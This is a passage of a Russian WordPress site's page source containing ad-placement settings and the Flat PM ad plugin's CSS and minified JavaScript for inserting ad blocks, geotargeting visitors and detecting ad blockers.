208blockSettingArray[cou1]["setting_type"] = 4; 
209blockSettingArray[cou1]["elementCss"] = "center"; 
210cou1++;
211blockSettingArray[cou1] = [];
212blockSettingArray[cou1]["minSymbols"] = 0;
213blockSettingArray[cou1]["maxSymbols"] = 0;
214blockSettingArray[cou1]["minHeaders"] = 0;
215blockSettingArray[cou1]["maxHeaders"] = 0;
216blockSettingArray[cou1]["id"] = '90'; 
217blockSettingArray[cou1]["sc"] = '0'; 
218blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337326\"></div>'; 
219blockSettingArray[cou1]["setting_type"] = 3; 
220blockSettingArray[cou1]["elementCss"] = "center"; 
221blockSettingArray[cou1]["element"] = "p"; 
222blockSettingArray[cou1]["directElement"] = ".following-post"; 
223blockSettingArray[cou1]["elementPosition"] = 1; 
224blockSettingArray[cou1]["elementPlace"] = 1; 
225cou1++;
226blockSettingArray[cou1] = [];
227blockSettingArray[cou1]["minSymbols"] = 0;
228blockSettingArray[cou1]["maxSymbols"] = 0;
229blockSettingArray[cou1]["minHeaders"] = 0;
230blockSettingArray[cou1]["maxHeaders"] = 0;
231blockSettingArray[cou1]["id"] = '91'; 
232blockSettingArray[cou1]["sc"] = '0'; 
233blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337330\"></div>'; 
234blockSettingArray[cou1]["setting_type"] = 4; 
235blockSettingArray[cou1]["elementCss"] = "default"; 
236cou1++;
237blockSettingArray[cou1] = [];
238blockSettingArray[cou1]["minSymbols"] = 0;
239blockSettingArray[cou1]["maxSymbols"] = 0;
240blockSettingArray[cou1]["minHeaders"] = 0;
241blockSettingArray[cou1]["maxHeaders"] = 0;
242blockSettingArray[cou1]["id"] = '92'; 
243blockSettingArray[cou1]["sc"] = '0'; 
244blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337331\"></div>'; 
245blockSettingArray[cou1]["setting_type"] = 4; 
246blockSettingArray[cou1]["elementCss"] = "default"; 
247cou1++;
248blockSettingArray[cou1] = [];
249blockSettingArray[cou1]["minSymbols"] = 0;
250blockSettingArray[cou1]["maxSymbols"] = 0;
251blockSettingArray[cou1]["minHeaders"] = 0;
252blockSettingArray[cou1]["maxHeaders"] = 0;
253blockSettingArray[cou1]["id"] = '93'; 
254blockSettingArray[cou1]["sc"] = '0'; 
255blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337333\"></div>'; 
256blockSettingArray[cou1]["setting_type"] = 1; 
257blockSettingArray[cou1]["elementCss"] = "default"; 
258blockSettingArray[cou1]["element"] = "p"; 
259blockSettingArray[cou1]["elementPosition"] = 0; 
260blockSettingArray[cou1]["elementPlace"] = 1; 
261cou1++;
262console.log("bsa-l: "+blockSettingArray.length);
263</script>
263<script>
264    if (typeof window.jsInputerLaunch === 'undefined') {
265        window.jsInputerLaunch = -1;
266    }
267    if (typeof contentSearchCount === 'undefined') {
268        var contentSearchCount = 0;
269    }
270    if (typeof launchAsyncFunctionLauncher === "undefined") {
271        function launchAsyncFunctionLauncher() {
272            if (typeof asyncFunctionLauncher !== "undefined" && typeof asyncFunctionLauncher === "function") {
273                asyncFunctionLauncher();
274            } else {
275                setTimeout(function () {
276                    launchAsyncFunctionLauncher();
277                }, 100)
278            }
279        }
280    }
281    if (typeof launchGatherContentBlock === "undefined") {
282        function launchGatherContentBlock() {
283            if (typeof gatherContentBlock !== "undefined" && typeof gatherContentBlock === "function") {
284                gatherContentBlock();
285            } else {
286                setTimeout(function () {
287                    launchGatherContentBlock();
288                }, 100)
289            }
290        }
291    }
292    function contentMonitoring() {
293        if (typeof window.jsInputerLaunch==='undefined'||(typeof window.jsInputerLaunch!=='undefined'&&window.jsInputerLaunch==-1)) {
294            let possibleClasses = ['.taxonomy-description','.entry-content','.post-wrap','.post-body','#blog-entries','.content','.archive-posts__item-text','.single-company_wrapper','.posts-container','.content-area','.post-listing','.td-category-description','.jeg_posts_wrap'];
295            let deniedClasses = ['.percentPointerClass','.addedInserting','#toc_container'];
296            let deniedString = "";
297            let contentSelector = '';
298            let contentCheck = null;
299            if (contentSelector) {
300                contentCheck = document.querySelector(contentSelector);
301            }
302
303            if (block_classes && block_classes.length > 0) {
304                for (var i = 0; i < block_classes.length; i++) {
305                    if (block_classes[i]) {
306                        deniedClasses.push('.' + block_classes[i]);
307                    }
308                }
309            }
310
311            if (deniedClasses&&deniedClasses.length > 0) {
312                for (let i = 0; i < deniedClasses.length; i++) {
313                    deniedString += ":not("+deniedClasses[i]+")";
314                }
315            }
316            
317            if (!contentCheck) {
318                for (let i = 0; i < possibleClasses.length; i++) {
319                    contentCheck = document.querySelector(possibleClasses[i]+deniedString);
320                    if (contentCheck) {
321                        break;
322                    }
323                }
324            }
325            if (!contentCheck) {
326                contentCheck = document.querySelector('[itemprop=articleBody]');
327            }
328            if (contentCheck) {
329                console.log('content is here');
330                let contentPointerCheck = document.querySelector('#content_pointer_id');
331                let cpSpan
332                if (contentPointerCheck && contentCheck.contains(contentPointerCheck)) {
333                    cpSpan = contentPointerCheck;
334                } else {
335                    if (contentPointerCheck) {
336                        contentPointerCheck.parentNode.removeChild(contentPointerCheck);
337                    }
338                    cpSpan = document.createElement('SPAN');                    
339                }
340                cpSpan.setAttribute('id', 'content_pointer_id');
341                cpSpan.classList.add('no-content');
342                cpSpan.setAttribute('data-content-length', '0');
343                cpSpan.setAttribute('data-accepted-blocks', '84,85,86,87,88,89,90,91,92,93');
344                cpSpan.setAttribute('data-rejected-blocks', '0');
345                window.jsInputerLaunch = 10;
346                
347                if (!cpSpan.parentNode) contentCheck.prepend(cpSpan);
348                
349                launchAsyncFunctionLauncher();
350                launchGatherContentBlock();
351            } else {
352                console.log('contentMonitoring try');
353                if (document.readyState === "complete") contentSearchCount++;
354                if (contentSearchCount < 20) {
355                    setTimeout(function () {
356                        contentMonitoring();
357                    }, 200);
358                } else {
359                    contentCheck = document.querySelector("body"+
359deniedString+" div"+deniedString);
360                    if (contentCheck) {
361                        console.log('content is here hard');
362                        let cpSpan = document.createElement('SPAN');
363                        cpSpan.setAttribute('id', 'content_pointer_id');
364                        cpSpan.classList.add('no-content');
365                        cpSpan.classList.add('hard-content');
366                        cpSpan.setAttribute('data-content-length', '0');
367                        cpSpan.setAttribute('data-accepted-blocks', '84,85,86,87,88,89,90,91,92,93');
368                        cpSpan.setAttribute('data-rejected-blocks', '0');
369                        window.jsInputerLaunch = 10;
370                        
371                        contentCheck.prepend(cpSpan);
372                        launchAsyncFunctionLauncher();
373                    }   
374                }
375            }
376        } else {
377            console.log('jsInputerLaunch is here');
378            launchGatherContentBlock();
379        }
380    }
381    contentMonitoring();
382</script>
382<!--noptimize-->
382<script data-noptimize="" data-wpfc-render="false">
383window.fpm_settings = {"timer_text":"\u0417\u0430\u043a\u0440\u044b\u0442\u044c \u0447\u0435\u0440\u0435\u0437","lazyload":"false","threshold":"300","dublicate":"false","rtb":"false","sidebar":"false","selector":".fpm_end","bottom":"10","ajaxUrl":"https:\/\/etopolezno.com\/wp-admin\/admin-ajax.php","ip_to_block":"https:\/\/etopolezno.com\/ip.html","get_ip":"https:\/\/etopolezno.com\/wp-content\/plugins\/flatpm-wp\/ip.php","speed":"300","overlay":"false","locale":"ru","key":"U2R1elQ1TzNENElVcTF6","role":"not_logged_in"};
384</script>
384
385<!--/noptimize--><!--noptimize-->
386<noscript data-noptimize id="fpm_modul">
387<style>
388html{max-width:100vw}
389.fpm-async:not([data-fpm-type="outgoing"]) + .fpm-async:not([data-fpm-type="outgoing"]){display:none}
390[data-fpm-type]{background-color:transparent;transition:background-color .2s ease}
391[data-fpm-type]{position:relative;overflow:hidden;border-radius:3px;z-index:0}
392.fpm-cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#7ca1d1;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0}
393.fpm-cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset}
394.fpm-cross:after,
395.fpm-cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto}
396.fpm-cross:before{transform:rotate(-45deg)}
397.fpm-cross:hover:after{transform:rotate(225deg)}
398.fpm-cross:hover:before{transform:rotate(135deg)}
399.fpm-timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#7ca1d1;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99}
400[data-fpm-type="outgoing"].center .fpm-timer,[data-fpm-type="outgoing"].center .fpm-cross{top:0!important}
401.fpm-timer span{font-size:16px;font-weight:600}
402[data-fpm-type="outgoing"]{transition:transform 300ms ease,opacity 300ms ease,min-width 0s;transition-delay:0s,0s,.3s;position:fixed;min-width:250px!important;z-index:9999;opacity:0;background:#ffffff;pointer-events:none;will-change:transform;overflow:visible;max-width:100vw}
403[data-fpm-type="outgoing"]:after{content:'';position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;pointer-events:all}
404[data-fpm-type="outgoing"].fpm-show:after{pointer-events:none}
405
406
407[data-fpm-type="outgoing"] *{max-width:none}
408
409[data-fpm-type="outgoing"].left-top [id*="yandex_rtb_"],
410[data-fpm-type="outgoing"].right-top [id*="yandex_rtb_"],
411[data-fpm-type="outgoing"].left-center [id*="yandex_rtb_"],
412[data-fpm-type="outgoing"].right-center [id*="yandex_rtb_"],
413[data-fpm-type="outgoing"].left-bottom [id*="yandex_rtb_"],
414[data-fpm-type="outgoing"].right-bottom [id*="yandex_rtb_"]{max-width:336px;min-width:160px}
415
416[data-fpm-type].no-preloader:after,[data-fpm-type].no-preloader:before,
417[data-fpm-type="outgoing"]:after,[data-fpm-type="outgoing"]:before{display:none}
418
419[data-fpm-type="outgoing"].fpm-show{opacity:1;pointer-events:all;min-width:0!important}
420
421[data-fpm-type="outgoing"].center{position:fixed;top:50%;left:50%;height:auto;z-index:-2;opacity:0;transform:translateX(-50%) translateY(-50%) scale(.6)}
422[data-fpm-type="outgoing"].center.fpm-show{transform:translateX(-50%) translateY(-50%) scale(1);opacity:1}
423[data-fpm-type="outgoing"].center.fpm-show{z-index:2000}
424
425[data-fpm-type="outgoing"].left-top{top:0;left:0;transform:translateX(-100%)}
426[data-fpm-type="outgoing"].top-center{top:0;left:50%;transform:translateX(-50%) translateY(-100%)}
427[data-fpm-type="outgoing"].right-top{top:0;right:0;transform:translateX(100%)}
428[data-fpm-type="outgoing"].left-center{top:50%;left:0;transform:translateX(-100%) translateY(-50%)}
429[data-fpm-type="outgoing"].right-center{top:50%;right:0;transform:translateX(100%) translateY(-50%)}
430[data-fpm-type="outgoing"].left-bottom{bottom:0;left:0;transform:translateX(-100%)}
431[data-fpm-type="outgoing"].bottom-center{bottom:0;left:50%;transform:translateX(-50%) translateY(100%)}
432[data-fpm-type="outgoing"].right-bottom{bottom:0;right:0;transform:translateX(100%)}
433[data-fpm-type="outgoing"].fpm-show.left-center,
434[data-fpm-type="outgoing"].fpm-show.right-center{transform:translateX(0) translateY(-50%)}
435[data-fpm-type="outgoing"].fpm-show.top-center,
436[data-fpm-type="outgoing"].fpm-show.bottom-center{transform:translateX(-50%) translateY(0)}
437[data-fpm-type="outgoing"].fpm-show.left-top,
438[data-fpm-type="outgoing"].fpm-show.right-top,
439[data-fpm-type="outgoing"].fpm-show.left-bottom,
440[data-fpm-type="outgoing"].fpm-show.right-bottom{transform:translateX(0)}
441
442.fpm-overlay{position:fixed;width:100%;height:100%;pointer-events:none;top:0;left:0;z-index:1000;opacity:0;background:#0000008a;transition:all 300ms ease;-webkit-backdrop-filter:blur(0px);backdrop-filter:blur(0px)}
443[data-fpm-type="outgoing"].center.fpm-show ~ .fpm-overlay{opacity:1;pointer-events:all}
444.fpm-fixed{position:fixed;z-index:50}
445.fpm-stop{position:relative;z-index:50}
446.fpm-preroll{position:relative;overflow:hidden;display:block}
447.fpm-preroll.hasIframe{padding-bottom:56.25%;height:0}
448.fpm-preroll iframe{display:block;width:100%;height:100%;position:absolute}
449.fpm-preroll_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease;z-index:2}
450.fpm-preroll_flex.fpm-show{opacity:1}
451.fpm-preroll_flex.fpm-hide{pointer-events:none;z-index:-1}
452.fpm-preroll_item{position:relative;max-width:calc(100% - 68px);max-height:100%;z-index:-1;pointer-events:none;cursor:default}
453.fpm-preroll_flex.fpm-show .fpm-preroll_item{z-index:3;pointer-events:all}
454.fpm-preroll_flex .fpm-timer,
455.fpm-preroll_flex .fpm-cross{top:10px!important;right:10px!important}
456.fpm-preroll_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;z-index:2}
457.fpm-preroll_flex:not(.fpm-show) .fpm-preroll_hover{cursor:pointer}
458.fpm-hoverroll{position:relative;overflow:hidden;display:block}
459.fpm-hoverroll_item{position:absolute;bottom:0;left:50%;margin:auto;transform:translateY(100%) translateX(-50%);transition:all 300ms ease;z-index:1000;max-height:100%}
460
461.fpm-preroll_item [id*="yandex_rtb_"],
462.fpm-hoverroll_item [id*="yandex_rtb_"]{min-width:160px}
463
464.fpm-hoverroll:hover .fpm-hoverroll_item:not(.fpm-hide){transform:translateY(0) translateX(-50%)}
465.fpm-slider{display:grid}
466.fpm-slider > *{grid-area:1/1;margin:auto;opacity:0;transform:translateX(200px);transition:all 420ms ease;pointer-events:none;width:100%;z-index:0}
467.fpm-slider > *.fpm-hide{transform:translateX(-100px)!important;opacity:0!important;z-index:0!important}
468.fpm-slider > *.fpm-show{transform:translateX(0);pointer-events:all;opacity:1;z-index:1}
469.fpm-slider .fpm-timeline{width:100%;height:2px;background:#f6f5ff;position:relative}
470.fpm-slider .fpm-timeline:after{content:'';position:absolute;background:#d5ceff;height:100%;transition:all 300ms ease;width:0}
471.fpm-slider > *.fpm-show .fpm-timeline:after{animation:timeline var(--duration) ease}
472.fpm-slider > *:hover .fpm-timeline:after{animation:timeline-hover}
473.fpm-slider > *:after{content:'';position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;pointer-events:all}
474.fpm-slider > *.fpm-show:after{pointer-events:none}
475@keyframes timeline-hover{}
476@keyframes timeline{0% {width:0}100% {width:100%}}
477.fpm-interscroller-wrapper{position:relative;width:100%;max-width:100%;height:var(--height)}
478.fpm-interscroller{position:absolute;top:0;left:0;width:100%;height:100%;clip:rect(0,auto,auto,0);background:var(--background)}
479.fpm-interscroller + div{position:absolute;bottom:0;left:0;right:0;top:0;margin:auto;display:block;height:1px}
480.fpm-interscroller-inner{position:fixed;top:50%;transform:translate(0,-50%);max-width:100%;display:flex;justify-content:center;align-items:center;width:var(--width)}
481.fpm-interscroller-inner > div{min-width:100px;min-height:100px}
482.fpm-interscroller-text{position:absolute;text-align:center;padding:10px;background:var(--background);color:var(--color);font-size:14px;z-index:1;line-height:1.4}
483.fpm-interscroller-text.top{top:0;left:0;right:0}
484.fpm-interscroller-text.bottom{bottom:0;left:0;right:0}
485</style>
486</noscript>
487<!--/noptimize-->
488
489
490<!--noptimize-->
491<script data-noptimize="" data-wpfc-render="false">
492fpm_settings.selector="true"===fpm_settings.sidebar?fpm_settings.selector:".fpm_end",!NodeList.prototype.forEach&&Array.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),window.yaContextCb=window.yaContextCb||[],window.fpm_shuffleArray=function(e){for(var t=e.length-1;0<t;t--){var r=Math.floor(Math.random()*(t+1)),n=e[t];e[t]=e[r],e[r]=n}return e},window.fpm_queryAll=function(e,t,r){try{r=r||"true",r="true"===r;var n=!1;["!>","!","!^","!~","!+",":after(",":after-sibling(",":before(",":before-sibling(",":contains(",":icontains(",":starts-with(",":istarts-with(",":ends-with(",":iends-with(",":first(",":has(",":has-sibling("].forEach(function(t){if(e.includes(t))return void(n=!0)});var o=[];if(n){if(!t)return[];for(var l=document.evaluate(t,document,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null),s=0,a=l.snapshotLength;s<a;s++)o.push(l.snapshotItem(s))}else o=Array.from(document.querySelectorAll(e));return r||(o=o.filter(function(e){return fpm_user.until_child.includes(e)})),o}catch(t){return fpm_user.debug&&console.log(t),[]}},window.fpm_debug=function(e,t){fpm_user.debug&&(t=t||"the reason is not established",console.log("%cID: "+e,"color: white; background: #ec5555"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+e),console.log("Reason: "+t),console.log("=".repeat(27)))},window.fpm_ipv6Normalize=function(e){e=e.toLowerCase();var t=e.split(/\:\:/g);if(2<t.length)return!1;var r=[];if(1===t.length){if(r=e.split(/\:/g),8!==r.length)return!1;}else if(2===t.length){var o=t[0],n=t[1],l=o.split(/\:/g),s=n.split(/\:/g);for(var a in l)r[a]=l[a];for(var a=s.length;0<a;--a)r[7-(s.length-a)]=s[a-1]}for(var a=0;8>a;++a)void 0===r[a]&&(r[a]="0000"),r[a]=fpm_ipv6LeftPad(r[a],"0",4);return r.join(":")},window.fpm_ipv6LeftPad=function(e,t,r){var n=t.repeat(r);return e.length<n.length&&(e=n.substring(0,n.length-e.length)+e),e},window.fpm_ipToInt=function(e){var t=[];return e.includes(":")?(fpm_ipv6Normalize(e).split(":").forEach(function(e){t.push(parseInt(e,16).toString(2).padStart(16,"0"))}),"function"==typeof window.BigInt&&BigInt(t.join(""),2)):(e.split(".").forEach(function(e){t.push(e.padStart(3,"0"))}),parseInt(t.join("")))},window.fpm_request_ip_api=function(){var e=new Promise(function(e){var t=new XMLHttpRequest;t.onreadystatechange=function(){t.readyState==XMLHttpRequest.DONE&&e(t.responseText)},t.open("GET","https://pro.ip-api.com/json/?key="+atob(fpm_settings.key)+"&lang="+fpm_settings.locale,!0),t.send()}),t=new Promise(function(e,t){var r=new XMLHttpRequest;r.onreadystatechange=function(){r.readyState==XMLHttpRequest.DONE&&(200==r.status?e(r.responseText):t({url:fpm_settings.ip_to_block,status:r.status,statusText:r.statusText}))},r.open("GET",fpm_settings.ip_to_block,!0),r.send()});Promise.all([e,t]).then(function(e){var t=JSON.parse(e[0]),r=e[1].split("\n").filter(Boolean);fpm_body.classList.remove("fpm_geo"),fpm_user.ccode=t.countryCode.toLowerCase(),fpm_user.country=t.country.toLowerCase(),fpm_user.city=t.city.toLowerCase(),fpm_user.isp=t.isp.toLowerCase(),fpm_setCookie("fpm_ccode",fpm_user.ccode),fpm_setCookie("fpm_country",fpm_user.country),fpm_setCookie("fpm_city",fpm_user.city),fpm_setCookie("fpm_isp",fpm_user.isp),fpm_user.ip="true",0<r.length?new Promise(function(e,t){var r=new XMLHttpRequest;r.onreadystatechange=function(){r.readyState==XMLHttpRequest.DONE&&(200==r.status?e(r.responseText):t({url:fpm_settings.get_ip,status:r.status,statusText:r.statusText}))},r.open("GET",fpm_settings.get_ip,!0),r.send()}).then(function(e){e=fpm_ipToInt(e),r.find(function(t){if(t.includes("-")){var r=t.split("-"),n=fpm_ipToInt(r[0].trim()),i=fpm_ipToInt(r[1].trim());if(e<=i&&n<=e)return fpm_user.ip="false",!0}else if(fpm_ipToInt(t.trim())==e)return fpm_user.ip="false",!0;return!1}),fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api")}):(fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api"))})},window.fpm_on=function(e,t,r,n,i){i=i||!1,e.addEventListener(t,function(i){for(var e=i.target;e&&e!==this;)e.matches(r)&&n.call(e,i),e=e.parentNode},{once:i})},window.fpm_contentsUnwrap=function(e){for(var t=e.parentNode;e.firstChild;)t.insertBefore(e.firstChild,e);t.removeChild(e)},window.fpm_wrap=function(e,t){e.parentNode.insertBefore(t,e),t.appendChild(e)},window.fpm_until=function(e,t,r,n){n=n||"nextElementSibling";var i=[];if(!e)return i;for(i.push(e),e=e[n];e&&(i.push(e),!e.matches(t));){if(r&&!e.matches(r)){e=e[n];continue}e=e[n]}return i},window.fpm_findSelector=function(e,t){e=e||[];var r=[];return t?(e.forEach(function(e){e.matches(t)&&r.push(e);var n=e.querySelectorAll(t);n&&0<n.length&&(r=r.concat([...n]))}),r):r},window.fpm_toNodeList=function(e){var t=document.createDocumentFragment();return e.forEach(function(e){t.appendChild(e.cloneNode())}),t},window.fpm_jsonp=function(e,t){var r="jsonp_callback_"+Math.round(1e5*Math.random());window[r]=function(e){delete window[r],fpm_body.removeChild(n),t(e)};var n=document.createElement("script");n.src=e+(0<=e.indexOf("?")?"&":"?")+"callback="+r,fpm_body.appendChild(n)},window.flatPM_serialize=function(e,t){var r,n=[];for(r in e)if(e.hasOwnProperty(r)){var i=t?t+"["+r+"]":r,o=e[r];n.push(null!==o&&"object"==typeof o?flatPM_serialize(o,i):encodeURIComponent(i)+"="+encodeURIComponent(o))}return n.join("&")},document.write=function(e){var t=document.createElement("div");document.currentScript.insertAdjacentElement("afterend",t),fpm_setHTML(t,e),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT()),fpm_contentsUnwrap(t)},window.fpm_sticky=function(e,t,r){function n(){if(null==a){for(var e=getComputedStyle(o,""),r="",n=0;n<e.length;n++)(0==e[n].indexOf("overflow")||0==e[n].indexOf("padding")||0==e[n].indexOf("border")||0==e[n].indexOf("outline")||0==e[n].indexOf("box-shadow")||0==e[n].indexOf("background"))&&(r+=e[n]+": "+e.getPropertyValue(e[n])+"; ");a=document.createElement("div"),a.style.cssText=r+" box-sizing: border-box; width: "+o.offsetWidth+"px;",o.insertBefore(a,o.firstChild);for(var p=o.childNodes.length,n=1;n<p;n++)a.appendChild(o.childNodes[1]);o.style.padding="0",o.style.border="0"}o.style.height=a.getBoundingClientRect().height+"px";var l=o.getBoundingClientRect(),c=Math.round(l.top+a.getBoundingClientRect().height-t.getBoundingClientRect().bottom);0>=l.top-d?l.top-d<=c?(a.className=fpm_attr.stop,a.style.top=-c+"px"):(a.className=fpm_attr.fixed,a.style.top=d+"px"):(a.className="",a.style.top=""),window.addEventListener("resize",function(){o.children[0].style.width=getComputedStyle(o,"").width},!1)}r=r||0;var o=e,a=null,d=r;window.addEventListener("scroll",n,!1),fpm_body.addEventListener("scroll",n,!1),n()}
492,window.fpm_addDays=function(e,r){var n,i=1e3*(60*e.getTimezoneOffset()),o=e.getTime(),l=new Date;if(o+=86400000*r,l.setTime(o),n=1e3*(60*l.getTimezoneOffset()),i!=n){var s=n-i;o+=s,l.setTime(o)}return l},window.fpm_adbDetect=function(){var r=document.createElement("div");r.id="yandex_rtb_",r.classList.add("adsbygoogle"),r.setAttribute("data-tag","flat_pm"),r.style="position:absolute;left:-9999px;top:-9999px",r.innerHTML="Adblock<br>detector",fpm_body.insertAdjacentElement("afterbegin",r);var n=document.querySelector("#yandex_rtb_.adsbygoogle[data-tag=\"flat_pm\"]");if(!n)return!0;var e=n.currentStyle||window.getComputedStyle(n,"");return e=parseInt(e.height),r.remove(),!!(isNaN(e)||0==e)},window.fpm_setCookie=function(e,t,r){r=r||{path:"/"};var n=r.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),n=r.expires=i}n&&n.toUTCString&&(r.expires=n.toUTCString()),t=encodeURIComponent(t);var o=e+"="+t;for(var l in r){o+="; "+l;var s=r[l];!0!==s&&(o+="="+s)}document.cookie=o},window.fpm_getCookie=function(e){var t=document.cookie.split("; ").reduce(function(t,r){var n=r.split("=");return n[0]===e?decodeURIComponent(n[1]):t},"");return""==t?void 0:t},window.flatPM_testCookie=function(){try{return localStorage.setItem("test_56445","test_56445"),localStorage.removeItem("test_56445"),!0}catch(t){return!1}},window.fpm_randomString=function(e){for(var t="",r="abcdefghijklmnopqrstuvwxyz",n=r.length,o=0;o<e;o++)t+=r.charAt(Math.floor(Math.random()*n));return t},window.fpm_randomProperty=function(e){var t=Object.keys(e);return t[Math.floor(Math.random()*t.length)]},window.fpm_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_sanitizeUrlParams=function(e){return e&&["__proto__","constructor","prototype"].includes(e.toLowerCase())?e.toUpperCase():e},window.fpm_getUrlParams=function(e){var t={};e=e||window.location.href,e=flatPM_sanitizeUrlParams(e);var r=e?e.split("?")[1]:window.location.search.slice(1);if(r){r=r.split("#")[0];for(var n=r.split("&"),o=0;o<n.length;o++){var l=n[o].split("="),s=l[0],a="undefined"==typeof l[1]||l[1];if(s=s.toLowerCase(),"string"==typeof a&&(a=a.toLowerCase()),s.match(/\[(\d+)?\]$/)){var d=s.replace(/\[(\d+)?\]/,"");if(t[d]||(t[d]=[]),s.match(/\[\d+\]$/)){var p=/\[(\d+)\]/.exec(s)[1];t[d][p]=a}else t[d].push(a)}else t[s]?t[s]&&"string"==typeof t[s]?(t[s]=[t[s]],t[s].push(a)):t[s].push(a):t[s]=a}}return t},window.fpm_dynamicInterval=function(e,t,r,n,i){t.autorefresh&&"0"!==t.autorefresh&&setTimeout(function(){e.innerHTML="",i++,i>=n&&(i=0),t=r[i],fpm_pre_setHTML(e,t.code),fpm_dynamicInterval(e,t,r,n,i)},1e3*t.autorefresh)},flatPM_testCookie()&&fpm_setCookie("fpm_visit",(parseInt(fpm_getCookie("fpm_visit"))||0)+1);window.fpm_stack_scripts={scripts:[],block:!1},window.fpm_base64test=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,window.fpm_then={ip_api:[],load:[]},window.fpm_titles="h1,h2,h3,h4,h5,h6",window.fpm_date=new Date,window.fpm_dateYear=fpm_date.getFullYear(),window.fpm_dateMonth=2==(fpm_date.getMonth()+1+"").length?fpm_date.getMonth()+1:"0"+(fpm_date.getMonth()+1),window.fpm_dateWeek=0===fpm_date.getDay()?6:fpm_date.getDay()-1,window.fpm_dateUTCWeek=0===fpm_date.getUTCDay()?6:fpm_date.getUTCDay()-1,window.fpm_dateDay=2==(fpm_date.getDate()+"").length?fpm_date.getDate():"0"+fpm_date.getDate(),window.fpm_dateHours=2==(fpm_date.getHours()+"").length?fpm_date.getHours():"0"+fpm_date.getHours(),window.fpm_dateUTCHours=fpm_date.getUTCHours(),window.fpm_dateMinutes=2==(fpm_date.getMinutes()+"").length?fpm_date.getMinutes():"0"+fpm_date.getMinutes(),window.fpm_increment={};var fpm_modul=fpm_queryAll("noscript#fpm_modul"),fpm_modul_text="";for(var prop in 0<fpm_modul.length&&(fpm_modul_text=fpm_modul[0].outerText,fpm_modul[0].remove()),window.fpm_attr={id:"",type:"",inner:"",status:"",async:"",modal:"",overlay:"",timer:"",cross:"",close_event:"",out:"",fixed:"",stop:"",preroll:"",hoverroll:"",show:"",hide:"",done:"",slider:"",timeline:"",interscroller:""},fpm_modul_text=fpm_modul_text.replace("<style>",""),fpm_modul_text=fpm_modul_text.replace("</style>",""),fpm_attr){fpm_attr[prop]=fpm_randomString(10);var regex=new RegExp("fpm-"+prop,"g");fpm_modul_text=fpm_modul_text.replace(regex,fpm_attr[prop])}document.head.insertAdjacentHTML("beforeend","<style>"+fpm_modul_text+"</style>"),window.fpm_user={init:function(){window.fpm_body=window.fpm_body||document.querySelector("body"),this.fpm_end=document.querySelectorAll(".fpm_end"),this.fpm_end=this.fpm_end[this.fpm_end.length-1],this.fpm_start=document.querySelector(".fpm_start"),this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=fpm_dateYear+"-"+fpm_dateMonth+"-"+fpm_dateDay,this.time=fpm_dateHours+":"+fpm_dateMinutes,this.adb=fpm_adbDetect(),this.until=fpm_until(this.fpm_start,".fpm_end"),this.textlen=this.until.map(function(e){return e.outerText}).join().replace(/(\s)+/g,"").length,this.titlelen=fpm_toNodeList(this.until).querySelectorAll(fpm_titles).length,this.country=this.cookieData("country").toLowerCase(),this.city=this.cookieData("city").toLowerCase(),this.ccode=this.cookieData("ccode").toLowerCase(),this.isp=this.cookieData("isp").toLowerCase(),this.ip=this.cookieData("ip").toLowerCase(),this.agent=navigator.userAgent,this.language=navigator.languages&&navigator.languages.length?navigator.languages[0]:navigator.userLanguage||navigator.language,this.until_child=this.until.map(function(e){return[e,Array.from(e.querySelectorAll("*"))]}).flat(1/0),this.debug=fpm_getUrlParams()["fpm-debug"],this.color_scheme=window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?"dar
492k":"light"},cookieReferer:function(){return parent===window?fpm_user.testcook?(void 0===fpm_getCookie("fpm_referer")&&fpm_setCookie("fpm_referer",""==document.referrer?"///:direct":document.referrer),fpm_getCookie("fpm_referer")):""==document.referrer?"///:direct":document.referrer:"///:iframe"},cookieData:function(e){return fpm_user.testcook?void 0===fpm_getCookie("fpm_"+e)?"":fpm_getCookie("fpm_"+e):""},searchString:function(e){for(var t,n=e.length,i=0;i<n;i++)if(t=e[i].str,t&&e[i].subStr.test(t))return 